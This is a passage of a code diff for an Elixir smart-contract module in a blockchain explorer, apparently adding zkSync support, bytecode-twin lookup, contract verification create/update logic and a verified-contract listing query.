unique_constraint(:address_hash) |> prepare_changes(&upsert_contract_methods/1) end @@ -304,35 +514,23 @@ defmodule Explorer.Chain.SmartContract do attrs, error, error_message, - json_verification \\ false + verification_with_files? \\ false ) do + attrs_to_cast = + @required_attrs ++ + @optional_common_attrs ++ + @optional_invalid_contract_changeset_attrs ++ + @chain_type_optional_attrs + validated = smart_contract - |> cast(attrs, [ - :name, - :compiler_version, - :optimization, - :contract_source_code, - :address_hash, - :evm_version, - :optimization_runs, - :constructor_arguments, - :verified_via_sourcify, - :partially_verified, - :file_path, - :is_vyper_contract, - :is_changed_bytecode, - :bytecode_checked_at, - :contract_code_md5, - :implementation_name, - :autodetect_constructor_args - ]) - |> (&if(json_verification, + |> cast(attrs, attrs_to_cast) + |> (&if(verification_with_files?, do: &1, - else: validate_required(&1, [:name, :compiler_version, :optimization, :address_hash, :contract_code_md5]) + else: validate_required(&1, @required_attrs) )).() - field_to_put_message = if json_verification, do: :file, else: select_error_field(error) + field_to_put_message = if verification_with_files?, do: :files, else: select_error_field(error) if error_message do add_error(validated, field_to_put_message, error_message(error, error_message)) @@ -380,69 +578,33 @@ defmodule Explorer.Chain.SmartContract do end end - defp upsert_contract_methods(%Changeset{changes: %{abi: abi}} = changeset) do - ContractMethod.upsert_from_abi(abi, get_field(changeset, :address_hash)) - - changeset - rescue - exception -> - message = Exception.format(:error, exception, __STACKTRACE__) - - Logger.error(fn -> ["Error while upserting contract methods: ", message] end) - - changeset - end - - defp upsert_contract_methods(changeset), do: changeset - - defp error_message(:compilation), do: "There was an error compiling your contract." - defp error_message(:compiler_version), do: "Compiler version does not match, please try again." - defp error_message(:generated_bytecode), do: "Bytecode does not match, please try again." - defp error_message(:constructor_arguments), do: "Constructor arguments do not match, please try again." - defp error_message(:name), do: "Wrong contract name, please try again." - defp error_message(:json), do: "Invalid JSON file." - - defp error_message(:autodetect_constructor_arguments_failed), - do: "Autodetection of constructor arguments failed. Please try to input constructor arguments manually." - - defp error_message(:no_creation_data), - do: "The contract creation transaction has not been indexed yet. Please wait a few minutes and try again." - - defp error_message(:unknown_error), do: "Unable to verify: unknown error." - defp error_message(:deployed_bytecode), do: "Deployed bytecode does not correspond to contract creation code." - - defp error_message(string) when is_binary(string), do: string - - defp error_message(_), do: "There was an error validating your contract, please try again." - - defp error_message(:compilation, error_message), do: "There was an error compiling your contract: #{error_message}" - - defp select_error_field(:no_creation_data), do: :address_hash - defp select_error_field(:compiler_version), do: :compiler_version - - defp select_error_field(constructor_arguments) - when constructor_arguments in [:constructor_arguments, :autodetect_constructor_arguments_failed], - do: :constructor_arguments - - defp select_error_field(:name), do: :name - defp select_error_field(_), do: :contract_source_code - def merge_twin_contract_with_changeset(%__MODULE__{} = twin_contract, %Changeset{} = changeset) do %__MODULE__{} |> changeset(Map.from_struct(twin_contract)) |> Changeset.put_change(:autodetect_constructor_args, true) + |> Changeset.put_change(:is_yul, false) |> Changeset.force_change(:address_hash, Changeset.get_field(changeset, :address_hash)) end def merge_twin_contract_with_changeset(nil, %Changeset{} = changeset) do + optimization_runs = + if Application.get_env(:explorer, :chain_type) == :zksync, + do: "0", + else: "200" + changeset |> Changeset.put_change(:name, "") - |> Changeset.put_change(:optimization_runs, "200") + |> Changeset.put_change(:optimization_runs, optimization_runs) |> Changeset.put_change(:optimization, true) |> Changeset.put_change(:evm_version, "default") |> Changeset.put_change(:compiler_version, "latest") |> Changeset.put_change(:contract_source_code, "") |> Changeset.put_change(:autodetect_constructor_args, true) + |> Changeset.put_change(:is_yul, false) + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: Changeset.put_change(&1, :zk_compiler_version, "latest"), + else: &1 + )).() end def merge_twin_vyper_contract_with_changeset( @@ -458,13 +620,27 @@ defmodule Explorer.Chain.SmartContract do merge_twin_vyper_contract_with_changeset(nil, changeset) end + def merge_twin_vyper_contract_with_changeset(%__MODULE__{is_vyper_contract: nil}, %Changeset{} = changeset) do + merge_twin_vyper_contract_with_changeset(nil, changeset) + end + def merge_twin_vyper_contract_with_changeset(nil, %Changeset{} = changeset) do changeset |> Changeset.put_change(:name, "Vyper_contract") |> Changeset.put_change(:compiler_version, "latest") |> Changeset.put_change(:contract_source_code, "") + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: Changeset.put_change(&1, :zk_compiler_version, "latest"), + else: &1 + )).() end + def license_types_enum, do: @license_enum + + @doc """ + Returns smart-contract changeset with checksummed address hash + """ + @spec address_to_checksum_address(Changeset.t()) :: Changeset.t() def address_to_checksum_address(changeset) do checksum_address = changeset @@ -475,10 +651,987 @@ defmodule Explorer.Chain.SmartContract do Changeset.force_change(changeset, :address_hash, checksum_address) end + @doc """ + Returns SmartContract by the given smart-contract address hash, if it is partially verified + """ + @spec select_partially_verified_by_address_hash(binary() | Hash.t(), keyword) :: boolean() | nil + def select_partially_verified_by_address_hash(address_hash_string, options \\ []) do + query = + from( + smart_contract in __MODULE__, + where: smart_contract.address_hash == ^address_hash_string, + select: smart_contract.partially_verified + ) + + Chain.select_repo(options).one(query) + end + + @doc """ + Extracts creation bytecode (`init`) and transaction (`tx`) or + internal transaction (`internal_transaction`) where the contract was created. + """ + @spec creation_transaction_with_bytecode(binary() | Hash.t()) :: + %{init: binary(), transaction: Transaction.t()} + | %{init: binary(), internal_transaction: InternalTransaction.t()} + | nil + def creation_transaction_with_bytecode(address_hash) do + creation_transaction_query = + from( + transaction in Transaction, + where: transaction.created_contract_address_hash == ^address_hash, + where: transaction.status == ^1, + order_by: [desc: transaction.block_number], + limit: ^1 + ) + + transaction = + creation_transaction_query + |> Repo.one() + + if transaction do + with %{input: input} <- transaction do + %{init: Data.to_string(input), transaction: transaction} + end + else + creation_int_transaction_query = Address.creation_internal_transaction_query(address_hash) + + internal_transaction = creation_int_transaction_query |> Repo.one() + + case internal_transaction do + %{init: init} -> + init_str = Data.to_string(init) + %{init: init_str, internal_transaction: internal_transaction} + + _ -> + nil + end + end + end + + @doc """ + Composes address object for unverified smart-contract + """ + @spec compose_address_for_unverified_smart_contract(Address.t(), [ + Chain.necessity_by_association_option() | Chain.api?() + ]) :: Address.t() | SmartContract.t() | nil + def compose_address_for_unverified_smart_contract(%{smart_contract: smart_contract} = address_result, options) + when is_nil(smart_contract) do + address_verified_bytecode_twin_contract = + get_address_verified_bytecode_twin_contract(address_result, options) + + if address_verified_bytecode_twin_contract do + add_bytecode_twin_info_to_address_result( + address_result, + address_verified_bytecode_twin_contract + ) + else + address_result + end + end + + def compose_address_for_unverified_smart_contract(address_result, _hash, _options), do: address_result + + def single_implementation_smart_contract_from_proxy(proxy_hash, options) do + implementation = Implementation.get_implementation(proxy_hash, options) + + if implementation && Enum.count(implementation.address_hashes) == 1 do + implementation.address_hashes + |> Enum.at(0) + |> Proxy.implementation_to_smart_contract(options) + else + nil + end + end + + @doc """ + Finds metadata for verification of a contract from verified twins: contracts + with the same bytecode which were verified previously, returns a single + t:SmartContract.t/0 + """ + alias Explorer.Chain.SmartContract + + @spec get_address_verified_bytecode_twin_contract(Address.t() | Hash.t() | String.t(), [ + Chain.necessity_by_association_option() | Chain.api?() + ]) :: SmartContract.t() | nil + def get_address_verified_bytecode_twin_contract(hash, options \\ []) + + def get_address_verified_bytecode_twin_contract(%Address{} = address, options) do + address.smart_contract || get_address_verified_bytecode_twin_contract(address.hash, options) + end + + def get_address_verified_bytecode_twin_contract(hash, options) when is_binary(hash) do + case Chain.string_to_address_hash(hash) do + {:ok, address_hash} -> get_address_verified_bytecode_twin_contract(address_hash, options) + _ -> nil + end + end + + def get_address_verified_bytecode_twin_contract(%Hash{} = address_hash, options) do + with target_address <- Chain.select_repo(options).get(Address, address_hash), + false <- is_nil(target_address), + true <- Address.smart_contract_with_nonempty_code?(target_address) do + target_address + |> get_verified_bytecode_twin_contract(options) + |> check_and_update_constructor_args() + else + _ -> + nil + end + end + + @doc """ + Returns a verified smart contract that shares identical bytecode with the + given address. + + This function searches the database for previously verified contracts that + have the same bytecode (identified by contract_code_md5) as the target + address. These "bytecode twins" allow users to view verified source code for + contracts that haven't been explicitly verified themselves. + + ## Parameters + - address: The target address struct to find a bytecode twin for + - options: Options to pass to the database query + - :api? - Boolean indicating if the call is from an API endpoint + + ## Returns + - A `SmartContract` struct of the bytecode twin if found + - `nil` if: + - No verified contract with matching bytecode exists + - The only matching contracts belong to the target address itself + """ + @spec get_verified_bytecode_twin_contract(Address.t(), [Chain.necessity_by_association_option() | Chain.api?()]) :: + SmartContract.t() | nil + def get_verified_bytecode_twin_contract(%Address{} = target_address, options \\ []) do + necessity_by_association = %{ + :smart_contract_additional_sources => :optional + } + + target_address_hash = target_address.hash + + contract_code_md5 = + target_address.contract_code.bytes + |> Helper.contract_code_md5() + + verified_bytecode_twin_contract_query = + from( + smart_contract in __MODULE__, + where: smart_contract.contract_code_md5 == ^contract_code_md5, + where: smart_contract.address_hash != ^target_address_hash, + select: smart_contract, + limit: 1 + ) + + verified_bytecode_twin_contract_query + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).one(timeout: 10_000) + end + + @doc """ + Returns address or smart_contract object with parsed constructor_arguments + """ + @spec check_and_update_constructor_args(__MODULE__.t() | Address.t()) :: __MODULE__.t() | Address.t() + def check_and_update_constructor_args( + %__MODULE__{address_hash: address_hash, constructor_arguments: nil, verified_via_sourcify: true} = + smart_contract + ) do + if args = Verifier.parse_constructor_arguments_for_sourcify_contract(address_hash, smart_contract.abi) do + smart_contract |> __MODULE__.changeset(%{constructor_arguments: args}) |> Repo.update() + %__MODULE__{smart_contract | constructor_arguments: args} + else + smart_contract + end + end + + def check_and_update_constructor_args( + %Address{ + hash: address_hash, + contract_code: deployed_bytecode, + smart_contract: %__MODULE__{constructor_arguments: nil, verified_via_sourcify: true} = smart_contract + } = address + ) do + if args = + Verifier.parse_constructor_arguments_for_sourcify_contract(address_hash, smart_contract.abi, deployed_bytecode) do + smart_contract |> __MODULE__.changeset(%{constructor_arguments: args}) |> Repo.update() + %Address{address | smart_contract: %__MODULE__{smart_contract | constructor_arguments: args}} + else + address + end + end + + def check_and_update_constructor_args(other), do: other + + # Adds verified metadata from bytecode twin smart-contract to the given smart-contract + @spec add_bytecode_twin_info_to_address_result(map(), SmartContract.t()) :: map() + defp add_bytecode_twin_info_to_address_result(address_result, address_verified_bytecode_twin_contract) + when not is_nil(address_verified_bytecode_twin_contract) do + address_verified_bytecode_twin_contract_updated = + put_from_verified_bytecode_twin(address_verified_bytecode_twin_contract, address_result.hash) + + address_result + |> Map.put(:smart_contract, address_verified_bytecode_twin_contract_updated) + end + + @doc """ + Creates or updates a smart contract record based on its verification status. + + This function first checks if a smart contract associated with the provided address hash + is already verified. If verified, it updates the existing smart contract record with the + new attributes provided, such as external libraries and secondary sources. During the update, + the contract methods are also updated: existing methods are preserved, and any new methods + from the provided ABI are added to ensure the contract's integrity and completeness. + + If the smart contract is not verified, it creates a new record in the database with the + provided attributes, setting it up for verification. In this case, all contract methods + from the ABI are freshly inserted as part of the new smart contract creation. + + ## Parameters + - `address_hash`: The hash of the address for the smart contract. + - `attrs`: A map containing attributes such as external libraries and secondary sources. + + ## Returns + - `{:ok, Explorer.Chain.SmartContract.t()}`: Successfully created or updated smart + contract. + - `{:error, data}`: on failure, returning `Ecto.Changeset.t()` or, if any issues + happen during setting the address as verified, an error message. + """ + @spec create_or_update_smart_contract( + binary() | Explorer.Chain.Hash.t(), + %{ + :external_libraries => list(), + :secondary_sources => list(), + optional(any()) => any() + }, + boolean() + ) :: {:error, Ecto.Changeset.t() | String.t()} | {:ok, Explorer.Chain.SmartContract.t()} + def create_or_update_smart_contract(address_hash, attrs, verification_with_files?) do + smart_contract = + address_hash + |> address_hash_to_smart_contract(api?: true) + + cond do + is_nil(smart_contract) -> + create_smart_contract(attrs, attrs.external_libraries, attrs.secondary_sources) + + smart_contract.partially_verified && attrs.partially_verified && + Application.get_env(:block_scout_web, :contract)[:partial_reverification_disabled] -> + changeset = + invalid_contract_changeset( + %SmartContract{address_hash: address_hash}, + Helper.add_contract_code_md5(attrs), + "Cannot update partially verified smart contract with another partially verified contract", + nil, + verification_with_files? + ) + + {:error, %{changeset | action: :insert}} + + true -> + update_smart_contract(attrs, attrs.external_libraries, attrs.secondary_sources) + end + end + + @doc """ + Inserts a new smart contract and associated data into the database. + + This function creates a new smart contract entry in the database. It calculates an MD5 hash of + the contract's bytecode, upserts contract methods, and handles the linkage of external libraries and + additional secondary sources. It also updates the associated address to mark the contract as + verified and manages the naming records for the address. + + ## Parameters + - `attrs`: Attributes for the new smart contract. + - `external_libraries`: A list of external libraries used by the contract. + - `secondary_sources`: Additional source data related to the contract. + + ## Returns + - `{:ok, smart_contract}` on successful insertion. + - `{:error, data}` on failure, returning the changeset or, if any issues happen during setting the address as verified, an error message. + """ + @spec create_smart_contract(map(), list(), list()) :: + {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t() | String.t()} + def create_smart_contract(attrs \\ %{}, external_libraries \\ [], secondary_sources \\ []) do + new_contract = %__MODULE__{} + + # Updates contract attributes with calculated MD5 for the contract's bytecode + attrs = + attrs + |> Helper.add_contract_code_md5() + + # Prepares changeset and extends it with external libraries. + # As part of changeset preparation and verification, contract methods are upserted + smart_contract_changeset = + new_contract + |> __MODULE__.changeset(attrs) + |> Changeset.put_change(:external_libraries, external_libraries) + + smart_contract_additional_sources_changesets = + if secondary_sources do + secondary_sources + |> Enum.map(fn changeset -> + %SmartContractAdditionalSource{} + |> SmartContractAdditionalSource.changeset(changeset) + end) + else + [] + end + + address_hash = Changeset.get_field(smart_contract_changeset, :address_hash) + + # Prepares the queries to update Explorer.Chain.Address to mark the contract as + # verified, clear the primary flag for the contract address in + # Explorer.Chain.Address.Name if any (enforce ShareLocks tables order (see + # docs: sharelocks.md)) and insert the contract details. + insert_contract_query = + Multi.new() + |> Multi.run(:set_address_verified, fn repo, _ -> set_address_verified(repo, address_hash) end) + |> Multi.run(:clear_primary_address_names, fn repo, _ -> + AddressName.clear_primary_address_names(repo, address_hash) + end) + |> Multi.insert(:smart_contract, smart_contract_changeset) + + # Updates the queries from the previous step with inserting additional sources + # of the contract + insert_contract_query_with_additional_sources = + smart_contract_additional_sources_changesets + |> Enum.with_index() + |> Enum.reduce(insert_contract_query, fn {changeset, index}, multi -> + Multi.insert(multi, "smart_contract_additional_source_#{Integer.to_string(index)}", changeset) + end) + + # Applying the queries to the database + insert_result = + insert_contract_query_with_additional_sources + |> Repo.transaction() + + # Set the primary mark for the contract name + AddressName.create_primary_address_name(Repo, Changeset.get_field(smart_contract_changeset, :name), address_hash) + + case insert_result do + {:ok, %{smart_contract: smart_contract}} -> + {:ok, smart_contract} + + {:error, :smart_contract, changeset, _} -> + {:error, changeset} + + {:error, :set_address_verified, message, _} -> + {:error, message} + end + end + + @doc """ + Updates an existing smart contract and associated data into the database. + + This function is similar to `create_smart_contract/1` but is used for updating an existing smart + contract, such as changing its verification status from `partially verified` to `fully verified`. + It handles the updates including external libraries and secondary sources associated with the contract. + Notably, it updates contract methods based on the new ABI provided: if the new ABI does not contain + some of the previously listed methods, those methods are retained in the database. + + ## Parameters + - `attrs`: Attributes for the smart contract to be updated. + - `external_libraries`: A list of external libraries associated with the contract. + - `secondary_sources`: A list of secondary source data associated with the contract. + + ## Returns + - `{:ok, smart_contract}` on successful update. + - `{:error, changeset}` on failure, indicating issues with the data provided for update. + """ + @spec update_smart_contract(map(), list(), list()) :: {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def update_smart_contract(attrs \\ %{}, external_libraries \\ [], secondary_sources \\ []) do + address_hash = Map.get(attrs, :address_hash) + + # Prepares the queries to clear the primary flag for the contract address in + # Explorer.Chain.Address.Name if any (enforce ShareLocks tables order (see + # docs: sharelocks.md)) and updated the contract details. + insert_contract_query = + Multi.new() + |> Multi.run(:acquire_smart_contract, fn repo, _ -> + # Get smart contract with lock INSIDE the transaction + smart_contract = + address_hash + |> get_by_address_hash_query() + |> lock("FOR UPDATE") + |> repo.one() + + {:ok, smart_contract} + end) + |> Multi.run(:delete_sources, fn repo, _ -> + {count, _} = + repo.delete_all( + from( + source in SmartContractAdditionalSource, + where: source.address_hash == ^address_hash + ) + ) + + {:ok, count} + end) + |> Multi.run(:clear_primary_address_names, fn repo, _ -> + AddressName.clear_primary_address_names(repo, address_hash) + end) + |> Multi.run( + :smart_contract, + fn repo, %{acquire_smart_contract: smart_contract} -> + smart_contract + |> __MODULE__.changeset(attrs) + |> Changeset.put_change(:external_libraries, external_libraries) + |> repo.update() + end + ) + |> Multi.run( + :set_primary_address_name, + fn repo, %{smart_contract: %SmartContract{name: name}} -> + result = AddressName.create_primary_address_name(repo, name, address_hash) + {:ok, result} + end + ) + + smart_contract_additional_sources_changesets = + if secondary_sources do + secondary_sources + |> Enum.map(fn changeset -> + %SmartContractAdditionalSource{} + |> SmartContractAdditionalSource.changeset(changeset) + end) + else + [] + end + + # Updates the queries from the previous step with inserting additional sources + # of the contract + insert_contract_query_with_additional_sources = + smart_contract_additional_sources_changesets + |> Enum.with_index() + |> Enum.reduce(insert_contract_query, fn {changeset, index}, multi -> + Multi.insert(multi, "smart_contract_additional_source_#{Integer.to_string(index)}", changeset) + end) + + # Applying the queries to the database + insert_result = + insert_contract_query_with_additional_sources + |> Repo.transaction() + + case insert_result do + {:ok, %{smart_contract: smart_contract}} -> + {:ok, smart_contract} + + {:error, :smart_contract, changeset, _} -> + {:error, changeset} + end + end + + @doc """ + Converts address hash to smart-contract object + """ + @spec address_hash_to_smart_contract(Hash.Address.t(), [api?]) :: __MODULE__.t() | nil + def address_hash_to_smart_contract(address_hash, options \\ []) do + query = get_by_address_hash_query(address_hash) + + Chain.select_repo(options).one(query) + end + + @doc """ + Converts address hash to smart-contract object with metadata_from_verified_bytecode_twin=true + """ + @spec address_hash_to_smart_contract_with_bytecode_twin(Hash.Address.t(), [api?], boolean()) :: + {__MODULE__.t() | nil, boolean()} + def address_hash_to_smart_contract_with_bytecode_twin(address_hash, options \\ [], fetch_implementation? \\ true) do + current_smart_contract = address_hash_to_smart_contract(address_hash, options) + + with true <- is_nil(current_smart_contract), + {:ok, address} <- Chain.hash_to_address(address_hash), + true <- Address.smart_contract?(address) do + {implementation_smart_contract, implementation_address_fetched?} = + if fetch_implementation? do + implementation_smart_contract = + SmartContract.single_implementation_smart_contract_from_proxy( + %{ + updated: %SmartContract{ + address_hash: address_hash, + abi: nil + }, + implementation_updated_at: nil, + implementation_address_fetched?: false, + refetch_necessity_checked?: false + }, + options + ) + + {implementation_smart_contract, true} + else + {nil, false} + end + + address_verified_bytecode_twin_contract = + implementation_smart_contract || + get_address_verified_bytecode_twin_contract(address_hash, options) + + smart_contract = put_from_verified_bytecode_twin(address_verified_bytecode_twin_contract, address_hash) + + {smart_contract, implementation_address_fetched?} + else + _ -> + {current_smart_contract, false} + end + end + + defp put_from_verified_bytecode_twin(nil, _address_hash), do: nil + + defp put_from_verified_bytecode_twin(address_verified_bytecode_twin_contract, address_hash) do + address_verified_bytecode_twin_contract + |> Map.put(:verified_bytecode_twin_address_hash, address_verified_bytecode_twin_contract.address_hash) + |> Map.put(:address_hash, address_hash) + |> Map.put(:metadata_from_verified_bytecode_twin, true) + end + + @doc """ + Checks if it exists a verified `t:Explorer.Chain.SmartContract.t/0` for the + `t:Explorer.Chain.Address.t/0` with the provided `hash` and `partially_verified` property is not true. + + Returns `true` if found and `false` otherwise. + """ + @spec verified_with_full_match?(Hash.Address.t() | String.t()) :: boolean() + def verified_with_full_match?(address_hash, options \\ []) + + def verified_with_full_match?(address_hash_string, options) when is_binary(address_hash_string) do + case Chain.string_to_address_hash(address_hash_string) do + {:ok, address_hash} -> + check_verified_with_full_match(address_hash, options) + + _ -> + false + end + end + + def verified_with_full_match?(address_hash, options) do + check_verified_with_full_match(address_hash, options) + end + + @doc """ + Checks if it exists a verified `t:Explorer.Chain.SmartContract.t/0` for the + `t:Explorer.Chain.Address.t/0` with the provided `hash`. + + Returns `:ok` if found and `:not_found` otherwise. + """ + @spec check_verified_smart_contract_exists(Hash.Address.t()) :: :ok | :not_found + def check_verified_smart_contract_exists(address_hash) do + address_hash + |> verified_smart_contract_exists?() + |> Chain.boolean_to_check_result() + end + + @doc """ + Gets smart-contract ABI from the DB for the given address hash of smart-contract + """ + @spec get_abi(String.t() | Hash.Address.t(), any()) :: any() + def get_abi(address_hash, options \\ []) + + def get_abi(address_hash_string, options) when is_binary(address_hash_string) do + case Chain.string_to_address_hash(address_hash_string) do + {:ok, address_hash} -> + get_abi(address_hash, options) + + _ -> + [] + end + end + + def get_abi(%Hash{} = address_hash, options) do + {smart_contract, _} = address_hash_to_smart_contract_with_bytecode_twin(address_hash, options, false) + (smart_contract && smart_contract.abi) || [] + end + + def get_abi(address_hash_string, _) when is_nil(address_hash_string) do + [] + end + + @doc """ + Composes a query for fetching a smart contract by its address hash. + + ## Parameters + - `address_hash`: The hash of the smart contract's address. + + ## Returns + - An `Ecto.Query.t()` that represents the query to fetch the smart contract. + """ + @spec get_by_address_hash_query(Hash.Address.t() | binary) :: Ecto.Query.t() + def get_by_address_hash_query(address_hash) do + from( + smart_contract in __MODULE__, + where: smart_contract.address_hash == ^address_hash + ) + end + + defp upsert_contract_methods(%Changeset{changes: %{abi: abi}} = changeset) do + ContractMethod.upsert_from_abi(abi, get_field(changeset, :address_hash)) + + changeset + rescue + exception -> + message = Exception.format(:error, exception, __STACKTRACE__) + + Logger.error(fn -> ["Error while upserting contract methods: ", message] end) + + changeset + end + + defp upsert_contract_methods(changeset), do: changeset + + defp error_message(:compilation), do: error_message_with_log("There was an error compiling your contract.") + + defp error_message(:compiler_version), + do: error_message_with_log("Compiler version does not match, please try again.") + + defp error_message(:generated_bytecode), do: error_message_with_log("Bytecode does not match, please try again.") + + defp error_message(:constructor_arguments), + do: error_message_with_log("Constructor arguments do not match, please try again.") + + defp error_message(:name), do: error_message_with_log("Wrong contract name, please try again.") + defp error_message(:json), do: error_message_with_log("Invalid JSON file.") + + defp error_message(:autodetect_constructor_arguments_failed), + do: + error_message_with_log( + "Autodetection of constructor arguments failed. Please try to input constructor arguments manually." + ) + + defp error_message(:no_creation_data), + do: + error_message_with_log( + "The contract creation transaction has not been indexed yet. Please wait a few minutes and try again." + ) + + defp error_message(:unknown_error), do: error_message_with_log("Unable to verify: unknown error.") + + defp error_message(:deployed_bytecode), + do: error_message_with_log("Deployed bytecode does not correspond to contract creation code.") + + defp error_message(:contract_source_code), do: error_message_with_log("Empty contract source code.") + + defp error_message(string) when is_binary(string), do: error_message_with_log(string) + defp error_message(%{"message" => string} = error) when is_map(error), do: error_message_with_log(string) + + defp error_message(error) do + Logger.warning(fn -> ["Unknown verifier error: ", inspect(error)] end) + "There was an error validating your contract, please try again." + end + + defp error_message(:compilation, error_message), + do: error_message_with_log("There was an error compiling your contract: #{error_message}") + + defp error_message_with_log(error_string) do + Logger.error("Smart-contract verification error: #{error_string}") + error_string + end + + defp select_error_field(:no_creation_data), do: :address_hash + defp select_error_field(:compiler_version), do: :compiler_version + + defp select_error_field(constructor_arguments) + when constructor_arguments in [:constructor_arguments, :autodetect_constructor_arguments_failed], + do: :constructor_arguments + + defp select_error_field(:name), do: :name + defp select_error_field(_), do: :contract_source_code + defp to_address_hash(string) when is_binary(string) do {:ok, address_hash} = Chain.string_to_address_hash(string) address_hash end defp to_address_hash(address_hash), do: address_hash + + # Checks if a smart contract exists in `Explorer.Chain.SmartContract` for a given + # address hash. + @spec verified_smart_contract_exists?(Hash.Address.t()) :: boolean() + defp verified_smart_contract_exists?(address_hash) do + query = get_by_address_hash_query(address_hash) + + Repo.exists?(query) + end + + defp set_address_verified(repo, address_hash) do + query = Address.address_query(address_hash) + + case repo.update_all(query, set: [verified: true]) do + {1, _} -> {:ok, []} + _ -> {:error, "There was an error annotating that the address has been verified."} + end + end + + @doc """ + Sets smart-contract certified flag + """ + @spec set_smart_contracts_certified_flag(list()) :: + {:ok, []} | {:error, String.t()} + def set_smart_contracts_certified_flag([]), do: {:ok, []} + + def set_smart_contracts_certified_flag(address_hash_strings) do + address_hashes = + address_hash_strings + |> Enum.map(&Chain.string_to_address_hash_or_nil(&1)) + |> Enum.reject(&is_nil/1) + + currently_certified_address_hashes_query = + from( + contract in __MODULE__, + where: contract.certified == true, + select: contract.address_hash + ) + + currently_certified_address_hashes = + currently_certified_address_hashes_query + |> Chain.select_repo(api?: true).all() + + address_hashes_clear_certified_flag_for = + currently_certified_address_hashes -- address_hashes + + address_hashes_set_certified_flag_for = address_hashes -- currently_certified_address_hashes + + address_hashes_to_clear_query = + from( + contract in __MODULE__, + where: contract.address_hash in ^address_hashes_clear_certified_flag_for + ) + + Repo.update_all(address_hashes_to_clear_query, set: [certified: false]) + + address_hashes_to_set_query = + from( + contract in __MODULE__, + where: contract.address_hash in ^address_hashes_set_certified_flag_for + ) + + Repo.update_all(address_hashes_to_set_query, set: [certified: true]) + end + + defp check_verified_with_full_match(address_hash, options) do + smart_contract = address_hash_to_smart_contract(address_hash, options) + + if smart_contract, do: !smart_contract.partially_verified, else: false + end + + @doc """ + Retrieves a list of verified smart contracts with their associated addresses + based on the provided options. + + This function fetches verified smart contracts from the database and applies + filtering, searching, sorting, and pagination based on the provided options. + It implements different query strategies depending on whether database + migrations have completed or are still in progress. + + ## Options + + * `:necessity_by_association` - Preloads associations based on necessity + (`:required` or `:optional`) + * `:paging_options` - Pagination options including `:page_size` and `:key` + * `:filter` - Filter contracts by language (`:solidity`, `:vyper`, `:yul`, + etc.) + * `:search` - Search term to filter contracts by name or address hash + * `:sorting` - Sorting parameters for the results + * `:api?` - Boolean flag to indicate if query is for API usage + * `:show_scam_tokens?` - Whether to include or exclude known scam tokens + + ## Returns + + A list of `Explorer.Chain.Address` structs with their associated + `SmartContract` and other preloads if specified in the options. Each entry + represents a verified smart contract with its address data. + """ + @spec verified_contract_addresses([ + Chain.paging_options() + | Chain.necessity_by_association_option() + | {:filter, :solidity | :vyper | :yul} + | {:search, String.t()} + | {:sorting, SortingHelper.sorting_params()} + | Chain.api?() + | Chain.show_scam_tokens?() + ]) :: [__MODULE__.t()] + def verified_contract_addresses(options \\ []) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + # If no sorting options are provided, we sort by `:id` descending only. If + # there are some sorting options supplied, we sort by `:hash` ascending as a + # secondary key. + {sorting_options, default_sorting_options} = + options + |> Keyword.get(:sorting) + |> case do + nil -> + {[], [{:desc, :id, :smart_contract}]} + + options -> + {options, [asc: :hash]} + end + + addresses_query = + if background_migrations_finished?() do + verified_addresses_query(options) + else + # Legacy query approach - will be removed in future releases + LegacyHelper.verified_addresses_query(options) + end + + addresses_query + |> ExplorerHelper.maybe_hide_scam_addresses_with_select(:hash, options) + |> SortingHelper.apply_sorting(sorting_options, default_sorting_options) + |> SortingHelper.page_with_sorting(paging_options, sorting_options, default_sorting_options) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + + @doc """ + Checks if all background migrations are finished. Kept public for mocking in + tests. + """ + @spec background_migrations_finished? :: boolean() + def background_migrations_finished? do + [ + BackgroundMigrations.get_smart_contract_language_finished(), + BackgroundMigrations.get_sanitize_verified_addresses_finished(), + BackgroundMigrations.get_heavy_indexes_create_addresses_verified_hash_index_finished(), + BackgroundMigrations.get_heavy_indexes_create_addresses_verified_transactions_count_desc_hash_index_finished(), + BackgroundMigrations.get_heavy_indexes_create_addresses_verified_fetched_coin_balance_desc_hash_index_finished(), + BackgroundMigrations.get_heavy_indexes_create_smart_contracts_language_index_finished() + ] + |> Enum.all?(& &1) + end + + defp verified_addresses_query(options) do + filter = Keyword.get(options, :filter, nil) + search_string = Keyword.get(options, :search, nil) + + smart_contracts_by_address_hash_query = + from( + contract in __MODULE__, + where: contract.address_hash == parent_as(:address).hash + ) + + smart_contracts_subquery = + smart_contracts_by_address_hash_query + |> filter_contracts(filter) + |> search_contracts(search_string) + |> limit(1) + |> subquery() + + from( + address in Address, + as: :address, + where: address.verified == true, + inner_lateral_join: contract in ^smart_contracts_subquery, + as: :smart_contract, + on: true, + select: address, + preload: [smart_contract: contract] + ) + end + + @spec search_contracts(Ecto.Query.t(), String.t() | nil) :: Ecto.Query.t() + defp search_contracts(basic_query, nil), do: basic_query + + defp search_contracts(basic_query, search_string) do + from(contract in basic_query, + where: + ilike(contract.name, ^"%#{search_string}%") or + ilike(fragment("'0x' || encode(?, 'hex')", contract.address_hash), ^"%#{search_string}%") + ) + end + + # Applies filtering to the given query based on a specified contract language. + # If `nil` is provided, no additional filtering is applied. + @spec filter_contracts(Ecto.Query.t(), language() | nil) :: Ecto.Query.t() + defp filter_contracts(basic_query, nil), do: basic_query + + defp filter_contracts(basic_query, language) do + basic_query |> where(language: ^language) + end + + @doc """ + Retrieves the constructor arguments for a zkSync smart contract. + Using @create_zksync_abi function decodes transaction input of contract creation + + ## Parameters + - `binary()`: The binary data representing the smart contract. + + ## Returns + - `nil`: If the constructor arguments cannot be retrieved. + - `binary()`: The constructor arguments in binary format. + """ + @spec zksync_get_constructor_arguments(binary()) :: nil | binary() + def zksync_get_constructor_arguments(address_hash_string) do + creation_input = Chain.contract_creation_input_data_from_transaction(address_hash_string) + + case @create_zksync_abi |> ABI.parse_specification() |> ABI.find_and_decode(creation_input) do + {%FunctionSelector{}, [_, _, constructor_args]} -> + Base.encode16(constructor_args, case: :lower) + + _ -> + nil + end + end + + @doc """ + Retrieves the smart contract language, taking legacy fields into account for + compatibility. It first tries to retrieve the language from the `language` + field; if not present, it falls back to legacy boolean fields. + + ## TODO + This function is a temporary measure during background migration of the + `language` field and should be 